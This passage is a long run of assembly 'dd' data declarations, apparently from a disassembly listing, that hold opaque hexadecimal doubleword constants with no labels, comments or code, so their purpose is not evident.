		dd 86F6800Bh, 0C38068B9h, 9D8882F8h, 0F2AA127Fh, 8BC49B1Dh
		dd 0E4A802EBh, 0F3A80149h, 162085E8h, 98C37A9Eh, 3A604B77h
		dd 3437EA8h, 0C32F4800h, 42EA1B5h, 0A8127099h, 0ADE10A4h
		dd 0AC50E3Eh, 0B2730088h, 2AA705FEh, 0E56C21C1h, 3300B46h
		dd 0C79000D0h, 0C3402C35h, 6300BAB4h, 55E6783Ah, 9DCF1E4h
		dd 9109D85h, 84DB5479h,	0F1BF1660h, 344F7802h, 74FD5C89h
		dd 0ED9104E0h, 0F1B48C88h, 0BA59F660h, 0E464CE47h, 12D048D2h
		dd 0C7E70500h, 923F0225h, 418B6309h, 70D0DB1Ch,	0EA02997Fh
		dd 5B71127Dh, 5750C05Ah, 40AE4F24h, 1DC0A6D4h, 0E6001817h
		dd 0DA662D59h, 0BEB76336h, 0D08E471Ch, 7B64CA33h, 58512500h
		dd 0D484B0Ah, 0B5D4176Ah, 7A6420A8h, 6E007E04h,	463424D9h
		dd 430B6Fh, 0EEB85467h,	4EAC5B8Dh, 7D63C30Bh, 0C4B465EAh
		dd 0B4466019h, 0D94E03AAh, 0F0EFDA7Fh, 0FAEBF100h, 94E9A793h
		dd 0B8B3E0D5h, 84DF03C8h, 9C0736B2h, 0ED2F65E0h, 0F7BC3Ah
		dd 9F271177h, 0B0D87FC9h, 0F679038Ch, 17281B98h, 0CE3B4AB0h
		dd 223CA412h, 87740802h, 0D3304A77h, 0C92E7054h, 0EBC77101h
		dd 0D502D84h, 39781F10h, 3828EC00h, 7EF151C5h, 50840516h
		dd 17752C1h, 0D458E7CCh, 0E4D8301Eh, 0DAD03050h, 77791F0Bh
		dd 914497EAh, 317D8318h, 90F4F8F2h, 702504B9h, 84365887h
		dd 721C98E4h, 1C38BF19h, 546C2018h, 58C2EBCh, 0CB3E111h
		dd 92C4E481h, 443A416h,	7F149C1Fh, 4E98000Ch, 0DA153EFCh
		dd 89841244h, 3898100Dh, 0F8EEF015h, 0EBA0200h,	8C412368h
		dd 9DBBA891h, 384DE4h, 3E12F234h, 17A495B2h, 286C0EFh
		dd 2F659C40h, 0E0251611h, 4A75023h, 53E53004h, 0B6E10EFAh
		dd 0AD027715h, 3050107Ch, 3A881F44h, 78FC6898h,	12AB38F0h
		dd 144FD901h, 43F85BCFh, 0A753DCh, 8509B37h, 3652E4FBh
		dd 0EB482F16h, 0F87B9400h, 1F0C002h, 294333F7h,	0D12303E9h
		dd 0C0E645EAh, 2F3A1DCh, 28BFD433h, 1821402Bh, 49E663DBh
		dd 80A01BCFh, 0DC021CA8h, 7218A664h, 4480C744h,	902B60F4h
		dd 9CEF54F1h, 31AA0196h, 0E6A30CCBh, 0D820203Ch, 652520BEh
		dd 60F5E428h, 1C7E8C8Eh, 6CB7E91Dh, 47D40838h, 0D8C58A3Dh
		dd 0EA02B825h, 7429840Ch, 24467CD4h, 0FE9E000h,	95F015D7h
		dd 3065B53Ah, 0EC1DD9F1h, 44A1008Eh, 1AA9AE56h,	0DB057F1Ch
		dd 0C57DD980h, 11E7A488h, 64D5830Ch, 0C460D688h, 91243C40h
		dd 5C7098D3h, 0E9400BBCh, 0F88FF895h, 0C8B766A4h, 0A51B883Ch
		dd 0E0F008F4h, 0A7329497h, 60F1C4ACh, 0A09678B1h, 8020ACD0h
		dd 7362CD86h, 0F285F6C9h, 95880C10h, 0A2782D20h, 6390AF00h
		dd 19014516h, 0E80249E7h, 2BFB3300h, 9331D3EDh,	87DD5F04h
		dd 28B80B4Ch, 1E8C15BCh, 2211905h, 0CD9A5BA6h, 82A8B093h
		dd 310FC4B2h, 5349747Dh, 30D51092h, 391740C5h, 0A0CBDB91h
		dd 40BD5D02h, 1CE1570Ah, 5880158Bh, 0B9F3233Ch,	482DB88h
		dd 0EB9618h, 17B61B8h, 0F87D7C21h, 6D3400BAh, 1CFC2848h
		dd 8C14E8h, 1899BC44h, 31F4BEEAh, 787C2497h, 80CCCC52h
		dd 7C59D300h, 426A10C8h, 4F4B003h, 0B791C441h, 830EC23h
		dd 82CD748Bh, 59066C95h, 96D58C60h, 70006348h, 0C0909889h
		dd 0E8B6D6BCh, 1E4796A0h, 88DC5B05h, 4CB8697Ch,	4F2A9901h
		dd 0E426E8CCh, 0E4A571FEh, 0C06020E4h, 0A50B5256h, 686D1762h
		dd 4A742A10h, 1CC416B9h, 37956200h, 90B300F0h, 0D5394E8Ah
		dd 0FA576302h, 0F841747Ch, 5EF89C64h, 8D3A2246h, 0FE6A5482h
		dd 0A0769CECh, 0CB575F40h, 88D90092h, 0F32688Ah, 28259EE8h
		dd 4B54C02Bh, 9B5B84h, 444E955Ch, 5575E5B7h, 80966D00h
		dd 1FB0980Bh, 24209B6Ch, 0F54674F0h, 32F82C00h,	206BB8A4h
		dd 0EC7814B8h, 245C2084h, 0DAF4A606h, 7A46F279h, 48174F39h
		dd 71692A64h, 18F759CCh, 3B200498h, 0A4A8598Dh,	0EE0006ECh
		dd 839AE34Ah, 0C18E21h,	5E49A1B9h, 22DB4C8Ch, 90D4A32Fh
		dd 0BFF20Ch, 9CB7B36Ah,	4405768Fh, 0A464921Ch, 3BD38B40h
		dd 0C0EE6BC7h, 0CC1FA679h, 771FBE95h, 0EC004BB9h, 7AA2CACh
		dd 56D7EE0h, 848ADC67h,	613CB0CDh, 547CC803h, 0C71591A0h
		dd 50D08299h, 0AB80A1Ah, 81107D62h, 4CE51CC3h, 2768343Ch
		dd 928DF48h, 9D181799h,	872E9168h, 8B02EE8Eh, 48BD8D5Ch
		dd 95777860h, 957080Fh,	68A9DD78h, 0D770E05Bh, 41877072h
		dd 88284E35h, 0AA07C0F2h, 89019C0Dh, 0F6A27E95h, 20A7DE58h
		dd 83C7386Dh, 0F61B1840h, 0D0965A09h, 588EF0BCh, 0C2A81160h
		dd 2027B49Dh, 20C01DF3h, 78DEB50h, 7C891566h, 9313BCADh
		dd 68440928h, 0DB3810B0h, 4B8AC010h, 702FC2E1h,	50C0CAAEh
		dd 4E02D8C4h, 85E40690h, 78011CADh, 848EC80Bh, 7EF840A1h
		dd 116D0068h, 2CD47729h, 0C2EC8CFh, 0A130DCD0h,	73BA86C9h
		dd 0FB5C0013h, 80B4F24Eh, 0A6FAE1E9h, 84127F4Fh, 0A06FC8E0h
		dd 5AF5C7A4h, 92145371h, 5F30B768h, 87DC132Ah, 90CB5Ch
		dd 7C2A683Fh, 0BFF645h,	0CAB9D851h, 50C4DEB5h, 8440084Bh
		dd 5FF5567h, 0EC96350Ah, 0CA6402B1h, 785C657Ch,	0A9456700h
		dd 92578413h, 2F930040h, 681566C3h, 0D34EC263h,	0C099D423h
		dd 1E2B90h, 0B720D883h,	795AF79Eh, 0F90938B8h, 0F993B291h
		dd 18F879C8h, 72D0026Eh, 0F170CE59h, 9F1D6844h,	461DC874h
		dd 672F5A82h, 0A9B28042h, 3F3A0D77h, 0A0F2AB86h, 7B94E8A4h
		dd 20CB9C8h, 4FA44B30h,	0D81C94D0h, 19D8AD99h, 5ABF1820h
		dd 8C3CC0E0h, 0AC4F6395h
		dd 110B03Bh, 0ED0CC004h, 876ED7h, 0E99A72AAh, 48389F1Ah
		dd 34888094h, 16E81012h, 0ACE3E791h, 88332FB2h,	292AEFEAh
		dd 2594980Ah, 429A5490h, 8E1BE001h, 0A863091Ah,	13805E0h
		dd 0E84C0E5Eh, 2E2DCCB6h, 4BE6C4Eh, 0D0A86D7Ch,	0CB76304h
		dd 0EB902082h, 0D4379F27h, 0AAC0131Eh, 67225ACh, 0BB5402CCh
		dd 57F7491h, 0E3EAC4D8h, 5017DF2Ch, 60B2008h, 80093850h
		dd 3D16B60h, 1754993Ch,	12204CB2h, 0C2A4DA0Ch, 40406077h
		dd 0AD6A61h, 3792A2FBh,	7C8AB775h, 0B017412Eh, 3712142h
		dd 8C209D3h, 0D1B7F4A0h, 0FD05C320h, 50490A31h,	0D08CB4h
		dd 0B7DC46DFh, 0B113AEA3h, 39F37600h, 5BCD63BAh, 8C6C4EDDh
		dd 0B8208790h, 7231913h, 6AE7611Ch, 261F286Eh, 3D468142h
		dd 2DF0D98Fh, 0E54014F0h, 0A60D04C3h, 74B9CE5Fh, 0C8788B92h
		dd 1BAC025h, 0F502DF26h, 157044C6h, 40E0543Fh, 1060CFBh
		dd 40AF8601h, 3B2C8766h, 88088E04h, 271CC3F4h, 255D9EC0h
		dd 0E8840758h, 0D60CE304h, 0FEEEA5E6h, 665E2000h, 8C8B56F6h
		dd 92F8A8E1h, 25F8B03Fh, 509DFBB5h, 1812C91h, 2E545A98h
		dd 2765B862h, 843041B3h, 0F41F6A33h, 0A9C70F00h, 0A86902Bh
		dd 256C8F18h, 89A30194h, 2EBAB4F6h, 84DDB848h, 0AC9F7490h
		dd 51047CB0h, 55A19ED0h, 672FD4F3h, 0C0888860h,	0B4A31B78h
		dd 0A7421007h, 0B7C0CD1Ch, 4E5BBCFh, 0BF10FA91h, 3E28F860h
		dd 537205E6h, 1CFCE186h, 297C0A82h, 0B881DA89h,	82F3B76Ch
		dd 215C2A50h, 275CE814h, 587F7D05h, 2F7A2851h, 68686C63h
		dd 0F0E686FEh, 204BD709h, 8B00A430h, 0DC015CA8h, 80F6E7D5h
		dd 221879F2h, 0DF65011Fh, 20F8E6EDh, 4859F155h,	0E8998484h
		dd 498C8802h, 13A4F2E9h, 4F97E7Bh, 413183B0h, 0CECFA490h
		dd 64803088h, 75680640h, 81702E84h, 9CAD095Ch, 0C7003858h
		dd 0A06EB988h, 0C79993Bh, 0F11FDBB6h, 74041751h, 0FED2C8B7h
		dd 0F3C86C8Eh, 571F64C2h, 87B95805h, 8C31B0E5h,	21F9F056h
		dd 0A2702340h, 0EC9B3014h, 4F202814h, 327680E0h, 2955266h
		dd 8F70632Ch, 85A21A0h,	2412D027h, 0DA602DA0h, 702D62BDh
		dd 803465D8h, 2CBDD1A9h, 0CFE8096Bh, 10CC1E5Ch,	0C1161505h
		dd 9B4457FDh, 74498024h, 9972D3DDh, 886080B0h, 90D28CE8h
		dd 599C8D00h, 362AEACh,	69D5019Eh, 489B53B9h, 0A493CC80h
		dd 5CC0B34Ah, 9772BF28h, 0C580CC35h, 48633F52h,	8C694A17h
		dd 0F62FE2ECh, 65D0988Bh, 1155633Ah, 58F1C2FFh,	3194C450h
		dd 0E4E9BD28h, 1849AF5Bh, 0DC7C560Ch, 906BCF00h, 692E9921h
		dd 6F15269Bh, 0C0609F74h, 0F2A5CD06h, 1025AD85h, 0DBB05132h
		dd 0F81B0482h, 253DCF4h, 843315C5h, 0B8501105h,	0E0CF742Fh
		dd 0FAE83ACh, 0BD88B723h, 0C00DFF8Eh, 0F1A6E308h, 24DB19C5h
		dd 2CACCCE9h, 0E599CCE1h, 66CF0919h, 2068BD88h,	0AFA49B04h
		dd 844CB8E8h, 94B30485h, 3CC0E8B7h, 27130757h, 0B4485064h
		dd 5A00BAF8h, 25FF274h,	4D397D0h, 548C1C71h, 304CB2C0h
		dd 945F310Bh, 99C500BCh, 0ECBE93F4h, 0E00A958Bh, 0F81DF2CEh
		dd 0C3581ADEh, 9452E064h, 209F7008h, 0F99A091Eh, 0FC7B7C51h
		dd 466CCB60h, 6930702Ch, 9AA5F802h, 0ADD0D91Fh,	0EB068C02h
		dd 2CD95051h, 0F04B3B18h, 595D3844h, 0D410C0FEh, 0D060A585h
		dd 0DDD8C269h, 2A030C4h, 0B3496810h, 0C9AE760Ah, 0E890487Dh
		dd 65A5E921h, 602F6470h, 2F7BD8A7h, 44307DDFh, 69897781h
		dd 1BA8086Ah, 4674B048h, 0D75F1C04h, 0E309E080h, 95523CFh
		dd 0E18AE69Ah, 0FE782071h, 2F718603h, 0A8D8BE29h, 83150A81h
		dd 122F4874h, 7EE03A60h, 7728028Ch, 0C7E683F9h,	0BCAE8C3h
		dd 0D4A9F104h, 1F7FB400h, 0AC15BC9Dh, 0E340FB00h, 0CAA57E1Eh
		dd 2008B857h, 0E21ADE17h, 9109D87h, 697C72ACh, 0F4564958h
		dd 7E4405DCh, 4028A888h, 19159CE4h, 657822F1h, 32960700h
		dd 0B2C175AAh, 908B62CDh, 4D0BF7EBh, 0EE66C07Ch, 0B804C4C3h
		dd 0F6F55C88h, 836C4B02h, 0E503E0D0h, 7BA25F55h, 0F76F16Fh
		dd 76A418Bh, 53820020h,	0C00289B3h, 2F877F6Eh, 0A7A890F0h
		dd 1D7A00ADh, 0A3D17340h, 0C8956B8Bh, 71D524E4h, 0C6784Bh
		dd 3A6F6328h, 0CABAB5ACh, 0F23D91Eh, 0C4B67792h, 0B14DECE0h
		dd 0B008D605h, 6CE37212h, 53301FA2h, 48CB00FBh,	654F5F22h
		dd 89600CBDh, 0A430FFF9h, 2C429797h, 9A40C87Ch,	5B04061Bh
		dd 0D9A48831h, 0F33D190Eh, 97AA60A2h, 0E2ABB9h,	0B6DF11F4h
		dd 2EDD03D2h, 0A6A3C702h, 4B727D01h, 0EE1FB810h, 891512E0h
		dd 1C28E2FFh, 0F35ED468h, 0EC7EFA00h, 972CD3DBh, 0E0859401h
		dd 3239E5C1h, 84602E10h, 9385808h, 8CE69A0Ah, 0BC04B270h
		dd 0F0B5747Ch, 20EC68F8h, 0EA553A8Ch, 10EE9F01h, 22EC3374h
		dd 0BDBC0920h, 91DD028Ah, 0D1385915h, 7EC11924h, 0F61AD1F4h
		dd 8D7A25DFh, 5000AC64h, 13E2B8C6h, 58FE3075h, 0A6036197h
		dd 0F1B33B33h, 489329DEh, 2E4A0578h, 8B483ABh, 880FE543h
		dd 4B68F584h, 2D232C2Bh, 5096CF05h, 0D30004F9h,	0EC816B2Eh
		dd 0D01D4EC2h, 5CC4E5BBh, 10B4FF45h, 0C5563C98h, 88A8D203h
		dd 8100AC54h, 0EB66078h, 4CB4F679h, 2B160CB9h, 31B4E406h
		dd 0F0911C40h, 5C20B6E9h, 0FE071E46h, 0F0316E45h, 73935A5Bh
		dd 9E0A6F14h, 0B87898A4h, 0A14A01C7h, 87727F3Fh, 4BC2828h
		dd 2448A588h, 2C67002h,	0A9D8DC9Bh, 31039242h, 32016DD6h
		dd 4F9B88DDh, 687E0953h, 0D450DCB8h, 0B00C6B24h, 4EDBC986h
		dd 26E3E0Ch, 1BB499Dh, 9C06D6F7h, 0EDA47D94h, 13773FCh
		dd 0DFDC287h, 7D6AD66Ch, 0AE26037Ch, 0F07F7460h, 0ECA10711h
		dd 0C24100CFh, 0A0B938EDh, 320710DBh, 3F0B1C80h, 8B155070h
		dd 335277Ch, 0F4C8B4ABh, 68119788h, 0DA1C0F50h,	395280CAh
		dd 0B77FBE09h, 8818F8F8h, 8B5087CDh, 19113074h,	0AF7C0748h
		dd 0E9125CB6h, 93AC88A9h, 84F8393Fh, 3D9CBF70h,	1313A0BCh
		dd 700A14A4h, 0D1A2BC00h, 9DC20EFAh, 0A4A920B9h, 2018FCF9h
		dd 7FE5C901h, 7E9D5BF3h, 3B4C722Eh, 5F16EC72h, 1442D26Bh
		dd 0D9619321h, 0ACE280C8h, 22ADEC16h, 0A80EC900h, 21F4A402h
		dd 0E7B10052h, 2ED95F93h, 1212F348h, 50F25BFFh,	1D584BC8h
		dd 1BCE26D4h, 292300DCh, 28A742E8h, 0EFC81707h,	841EE719h
		dd 50BCBF1Ah, 29B723C6h, 20E80F34h, 2BBF1806h, 3333A49h
		dd 6146A2Ch, 0E8694E8Dh, 5C89270Bh, 78BC2081h, 0AB84B772h
		dd 34A581C8h, 0C840017Fh, 60895C28h, 1BB501BAh,	9D0A8054h
		dd 6800F79Ch, 0A0749141h, 0A587C517h, 4A6AACE4h, 0FFB490BFh
		dd 0A0446B16h, 317C1D88h, 446CA5F3h, 19820C15h,	359776B8h
		dd 87F591E8h, 0FDC7BCE5h, 5C27FE12h, 15A8636Ch,	80AE693Dh
		dd 4C4129F3h, 19BE1DBh,	0DEBCCB63h, 6C288F10h, 1EC21320h
		dd 182579E8h, 34CD2C60h, 97940B95h, 421B80Ch, 0F6EC6B80h
		dd 984EB7Ch, 1B89548Bh,	3569CC59h, 0B009809Ch, 0D26ECC29h
		dd 18F495E4h, 5454EA90h, 971310ECh, 50D73A2Ch, 0E22409F4h
		dd 402B124h, 7A03F20Ch,	0FE09270Fh, 7C199851h, 2610946Fh
		dd 5E941118h, 0F4E3E420h, 0AF28002Eh, 0EECCA96Dh, 5302C7E7h
		dd 2DFC8925h, 0ED74C0C6h, 34E89708h, 109AFE17h,	6DF3403h
		dd 0CE9E87D8h, 0D0C09589h, 35F37C93h, 7B5CC124h, 299BF440h
		dd 16688808h, 88870D07h, 172084E4h, 0F88E76F0h,	0B1A8D2A5h
		dd 4C3E2EECh, 41001B23h
		dd 0A44AA8C8h, 7984258Bh, 0E46178E2h, 0E4226F2Bh, 6C710Ch
		dd 36A3620h, 991255B3h,	0F0F32D65h, 0A0BEF009h,	0E066D02Bh
		dd 0AE98F8C5h, 0AF805CE8h, 6B2F6CAh, 733DC0Eh, 0E94400AAh
		dd 94F01FC5h, 5E8D800Ch, 0EC4271D5h, 0CB49D900h, 246D2CC9h
		dd 0B58F0080h, 6396899Ch, 1E00D3C6h, 3AC39F7Eh,	0CB968h
		dd 51727DD0h, 95C86035h, 0D4A58617h, 372B88B1h,	0ECC421ACh
		dd 0CC223A2Ch, 0F8111F38h, 5951F80h, 0BC0B0F8Dh, 0A9838491h
		dd 44AC5934h, 0F4F23541h, 2030F4B2h, 299748Bh, 16E7EA5h
		dd 2357A796h, 0B8E6A258h, 9AC037h, 17CBCC5h, 71174088h
		dd 0B8C00754h, 86184900h, 7D6839C1h, 58BA9DE6h,	0F379F0F1h
		dd 8709E818h, 21304CCDh, 2420B7E0h, 2409808h, 809F2770h
		dd 95250072h, 32D042FCh, 50147B40h, 563A3DE6h, 9F09129Ch
		dd 0E5B8E490h, 2EC6FC85h, 12108FB4h, 5BE8AC83h,	23F4C88h
		dd 22430474h, 3CC0381Dh, 6781FAF9h, 978A59C4h, 0D643C814h
		dd 6C6A5Ah, 5962CEF5h, 88105028h, 6EEE5A23h, 14F96600h
		dd 1FDB54ACh, 793498B0h, 0A47C8219h, 888D7643h,	36A079F2h
		dd 49C216DFh, 0D8C0D834h, 4C6EEBh, 0C9EB23Dh, 89BAA84h
		dd 0E2CF6CDFh, 48817935h, 7710127Fh, 860B7972h,	201C5495h
		dd 0AEB6AC8h, 9B7D4B66h, 5321C064h, 4AE8F64h, 9E01B0Eh
		dd 6C3CB596h, 33EA8004h, 38DA0C1Ah, 7C00DF8Ch, 0E05164B4h
		dd 2A1C5B8Fh, 720941CAh, 1740D143h, 0EF13F0F2h,	70B33C03h
		dd 1FA5D79h, 0C4BEA31Ch, 2E8F6354h, 60A2F824h, 1C3020F2h
		dd 6372049Ah, 0C2E5CF55h, 0CC56F050h, 0A82900BFh, 1F4C802Dh
		dd 98900A9h, 9D591A8Fh,	3A015618h, 7230F10Bh, 12F387Ah
		dd 0EB912014h, 88A84E27h, 607FC0F8h, 9E2599ABh,	9018D292h
		dd 0F5A0Eh, 2A8159B4h, 60D60B19h, 10DC508Bh, 11C0C004h
		dd 96A93FAh, 957C894Dh,	0E795A050h, 671A64CCh, 1091CD67h
		dd 0ADC06F8Ah, 0D1284BBCh, 465FA64h, 0F688548Eh, 0D6302DC0h
		dd 3FB41D11h, 0F0E613C2h, 0B84FBF99h, 2C7E14F0h, 74ACECD8h
		dd 37011646h, 5CAD87C1h, 5FB0800Ch, 6EC320D4h, 1C880F91h
		dd 0A5C9010Bh, 0AF9030A8h, 0F46064CDh, 461FEA2h, 78D830C7h
		dd 10E4D475h, 9C16F0E0h, 106C2114h, 95030722h, 418B6F4h
		dd 69842AC7h, 792CC00Ch, 9B268F74h, 3429C0B0h, 0FA18F7D1h
		dd 87162B09h, 66B880CEh, 0BC920A53h, 0D059A590h, 5CD18646h
		dd 16C4780Ch, 8780B868h, 0D2C471FCh, 9C0C098h, 0B3913840h
		dd 588088E5h, 7DDF40B8h, 0A5F1008Ah, 56369D92h,	2F5D8493h
		dd 5A3A76BCh, 42E603D2h, 889F668h, 726F0371h, 723465Eh
		dd 531D6420h, 188E9A51h, 4F188076h, 61276109h, 43E3DE00h
		dd 94F26FB7h, 688D008Ch, 0AEECB24Dh, 0F1123A3Ch, 0F8B80E73h
		dd 0F6A210B3h, 16B48F01h, 62CF0A00h, 3B135898h,	68F3157Dh
		dd 0C73021A2h, 6C1B007Ah, 0D4772860h, 21C029A6h, 5E081D70h
		dd 1B6F00D1h, 0FBE647C6h, 0A20B22F7h, 986D298Dh, 1907AECh
		dd 2206F6Eh, 0D04195E4h, 32E865D5h, 0D8C26A05h,	0C1A835h
		dd 0C1A72578h, 7202DCD1h, 5E2104BFh, 30517284h,	6181559h
		dd 9112D472h, 30E01F74h, 0B40B4A6Ah, 885872C4h,	8130FFFh
		dd 0FA3E6085h, 539122F8h, 1AE23C0Ch, 267130h, 97C7BD69h
		dd 31F0A586h, 3A97C490h, 0D480F680h, 160A7200h,	0C0921F19h
		dd 6011629Fh, 0D1002114h, 0B5CD9A7Ch, 30FC0C4Ah, 2769FEDCh
		dd 0C8C40A8Ch, 4CB890F3h, 4010A812h, 697CF70Ch,	9BE613C3h
		dd 10AC7A5Ch, 6A11E61Bh, 9F0A14D6h, 45680024h, 0C7D3269Ch
		dd 0F6180C4Eh, 5629048Eh, 5194A100h, 0E3D7FDECh, 58990F2Eh
		dd 1B808CA8h, 0E09585DCh, 3E30265Dh, 0E0792F32h, 26D8FC70h
		dd 1C30203Fh, 0E5503004h, 0E032955h, 0F0D0510Dh, 0ECD49C9Eh
		dd 1A8190B8h, 8F1A7A4h,	86F62D78h, 9DA89CCBh, 728023D4h
		dd 27D03297h, 7D2040h, 41932170h, 0FA9127E6h, 500BCF9h
		dd 86C07B16h, 8E300003h, 0A491241Ah, 0E495E01Fh, 8B38025Ch
		dd 17FCD15Ch, 6838187Fh, 0F0C13E51h, 9D85DA83h,	804A0E04h
		dd 6021C020h, 0D223DD2h, 0C3159300h, 0CEED87Dh,	0BCF3894Eh
		dd 0FD974103h, 104C446Ah, 0E1D625F8h, 0E18009ACh, 0D3BDC721h
		dd 1CA87EA7h, 0E84EF671h, 8023D0B0h, 9C209508h,	0CC71703h
		dd 0F2FC258Ch, 37B50040h, 88CC6973h, 2C94F74h, 636A79C4h
		dd 38048655h, 0B28A5AC1h, 8C9B096Ch, 42785EF7h,	7020E795h
		dd 0C315FC97h, 0F2F09880h, 0DF8190Eh, 7D0EA9BBh, 5D06D880h
		dd 0A6047EA4h, 5063AEB7h, 138EDC88h, 1241A754h,	0E0F8B688h
		dd 2CC13953h, 1154AC75h, 7C8A0506h, 0DC48EB49h,	645D80F3h
		dd 21D1D3C9h, 0D2A5A20Eh, 59029FDh, 48288C0h, 76C4C429h
		dd 0EC718228h, 0B7D8A780h, 48E80A07h, 6B1F56A3h, 0DEA00B7Bh
		dd 0C05CC56h, 0BC222E81h, 802F24F8h, 5F0E6045h,	770ED8FAh
		dd 42FB3A89h, 0E036ECD0h, 9704A0EBh, 61C040EDh,	17AC62Eh
		dd 0F453C0ACh, 7C3FA492h, 867F1CE8h, 946A9F13h,	5C071423h
		dd 7270983Dh, 0A9247C9Fh, 2510128Ch, 32003999h,	0F5617F2Ch
		dd 0CBB9C330h, 0E4F10341h, 6B18F679h, 2FA0F400h, 0F2BA6FE4h
		dd 0D9CE02AEh, 0E7FE6C38h, 5B4A40DAh, 0A3DFAC8Bh, 7FE68607h
		dd 613B2242h, 0C711F57Ch, 74326Ah, 8E59B39Dh, 13ADC8ACh
		dd 0C8900BE2h, 0DF414FF4h, 1931A441h, 0E5569900h, 0DA2D421Fh
		dd 2CAC7B25h, 2C465C54h, 9C196903h, 6800E953h, 72DA85D3h
		dd 0CAD8FE1Ch, 4E888608h, 2B371099h, 22C8208Bh,	36B8B4C1h
		dd 7800F7Eh, 0FC0C09F3h, 2364A867h, 49117260h, 0BD213A04h
		dd 78F2FE0Fh, 9830AE00h, 0E97570B3h, 330A2F04h,	0CE8A44Fh
		dd 0E2B20A2h, 252208A0h, 9807D879h, 403E3556h, 818C8ECFh
		dd 93B0DCB4h, 73F8A376h, 0A7636616h, 6E4C8420h,	6DA4008Fh
		dd 7EC1565Dh, 3A3D5C72h, 5A573893h, 0D890042h, 1C331018h
		dd 18B59D84h, 9BDE020Ah, 5C88092Dh, 2F253BCh, 4D7C0801h
		dd 2F787CE7h, 0BCCE7DA6h, 9E98172h, 23102B7Fh, 0CDDF0024h
		dd 0E28EAE73h, 4C6A1609h, 70245B78h, 3A039B3Bh,	0A7A27E97h
		dd 5B73A0AEh, 0EBF92D7Fh, 46008859h, 0E95849F3h, 392E16CBh
		dd 29000225h, 345E675Ah, 1402BD88h, 3964F4F6h, 0D608BD9Bh
		dd 0C0A974BDh, 59123A3Bh, 0B0BC3167h, 0B800B993h, 0C8564E59h
		dd 0A600B530h, 3FC8B177h, 38B20Ch, 0C3EE7869h, 87068A5h
		dd 6771E32Dh, 60184408h, 196BB51h, 32DF753Ah, 72BF7239h
		dd 171F0BE8h, 8701067h,	1FD1084h, 0FA2218h, 2E656CDBh
		dd 0E21B63BBh, 0E5C55900h, 777B152Ah, 50420296h, 0D0CF7943h
		dd 0E600C88Fh, 837F9A55h, 933C0307h, 5C49579Ch,	0D606DC84h
		dd 2D8F981Ch, 152825B8h, 0F681745Bh, 6C91B5B4h,	1FFC487Ch
		dd 7CB20F8Ch, 0E0003F64h, 6ACED4CAh, 92003C91h,	9452E911h
		dd 0FE34079Fh, 0C936F10Bh, 0F6F47CF6h, 90B90497h, 0AF1254B1h
		dd 64A6B830h, 0C5D412ADh, 270E244h, 0B588CD6Ah,	989A5767h
		dd 0F4792451h, 0DA2EA918h, 0A24160EFh, 0EE48EC9h, 4A8D0125h
		dd 163A4440h, 0E2B84D70h, 0C5699C5Ch, 6015E4E8h, 0C6828A6h
		dd 92B8493h, 854FE348h,	0D85770A2h, 6707909h, 0FC11909Dh
		dd 0C0C64880h, 0F205CF13h, 0CE41AB05h, 4A63B083h, 0BE8E678h
		dd 21EB7491h, 1C418A14h, 4BCE86Ch, 5AA0CE3h, 5EBCF4Eh
		dd 3D1A810Ah, 0F087040h
		dd 2F709200h, 55E5B968h, 0D2E0EE3h, 2A21C2D0h, 40C16F6Ah
		dd 890B4CD8h, 89C55C27h, 607C5CC8h, 0F1518C8Ah,	700048B0h
		dd 3FE7365Bh, 0E33868h,	0D7351C12h, 0E86F06C6h,	78F31E4Ah
		dd 44792F27h, 20D8960Fh, 0C476E68Ah, 77F7989h, 9AE86957h
		dd 2784427Bh, 0EA5A50D0h, 0C8167C6Bh, 0D8B2AFh,	5C879FE1h
		dd 1473E486h, 8801F37Fh, 6FB9EB09h, 50EDE032h, 3BEF43C0h
		dd 37ECF3F0h, 7C110B60h, 0A0A1F423h, 0BE95Ch, 9B8CD79h
		dd 872E9B3Eh, 1745307Eh, 0F6EC5CF8h, 39A8008Ch,	328FFCA2h
		dd 81276D77h, 18E0495Ch, 6EF8CD3Ah, 901746Eh, 938490F0h
		dd 6A582002h, 0D3B1DB6Bh, 112070A4h, 90B54104h,	3AAF67F0h
		dd 0FC6BF568h, 10F54100h, 7B265496h, 48E2B07Fh,	0F78427h
		dd 0CCFFD3C0h, 8E1B764h, 4CC76C6h, 5486F61Bh, 0BC975244h
		dd 0EDA6A30Ch, 238C3BEBh, 9D60716h, 346C6286h, 0AE27854h
		dd 0F8117794h, 0D0822A5Dh, 76C8DC2Ah, 80040121h, 0AE137C7Eh
		dd 1A062022h, 5E0A586h,	301A9750h, 84B7D7h, 6506D8D5h
		dd 929FA61Fh, 67744068h, 0F8040149h, 6B14C632h,	8139BEEDh
		dd 4ED340BDh, 0DC83119h, 0B87F03F7h, 9D931178h,	44C2A4E0h
		dd 0B44CE495h, 2E465EFCh, 807F7402h, 10D730D4h,	39FB00h
		dd 5E870637h, 0DE781C0Bh, 66281B00h, 0B7673A94h, 911F34E3h
		dd 0F22CB214h, 8A2B30F2h, 2A9741Ch, 7B0B5DC9h, 181B7990h
		dd 0FA601E8Dh, 0BC7C9269h, 61938298h, 4B585E89h, 0A0F66C62h
		dd 1748C625h, 0BCB6EA78h, 0C8E0807Ch, 9DDC818Ah, 21C450E7h
		dd 698FA960h, 0AA464F13h, 0F38030F8h, 0C02797E3h, 0F7DDFD0Fh
		dd 5E9CE9ADh, 9588616Ch, 0E4842A8Ch, 0E56C1FAEh, 7B8038B5h
		dd 465436D6h, 0ABA814CFh, 0B67680CBh, 8C0A02F0h, 0ECC80975h
		dd 944A23B7h, 2F5E90F3h, 1623B4h, 0C3215F73h, 8727D405h
		dd 107CA09Eh, 0B61D9097h, 8F7084E8h, 1F2CE03Ch,	54A57E00h
		dd 652D99B4h, 0F2301DF4h, 98EAE5E2h, 8549D5Fh, 9B6003FBh
		dd 4B74BEF2h, 2FB4DD21h, 28008C6Eh, 0CC26EA10h,	3104F590h
		dd 2F8B3698h, 108E8894h, 30C0FB88h, 0E62D71Ah, 4DFE39ECh
		dd 0FF21A82Ch, 0B9BFDD07h, 0DD024EDh, 899405h, 0BAB8DCBCh
		dd 70C4D096h, 8CB274Bh,	0FCB8D44Ch, 3321018Ch, 0CF481967h
		dd 5351F8AFh, 1390C33Eh, 58E872C8h, 7D848939h, 0AE070D74h
		dd 2223E03Bh, 3B41CB00h, 0FE537Dh, 0FC6FBCE4h, 0E185F7D4h
		dd 0E01024B0h, 539FFB13h, 0B7DCA3FEh, 0E689C0E8h, 38900285h
		dd 38A00C90h, 0B97D6871h, 1817BB05h, 74E4820Dh,	88009D67h
		dd 36D9BF61h, 2820685Eh, 69D489Ah, 9EDB789Bh, 911748D1h
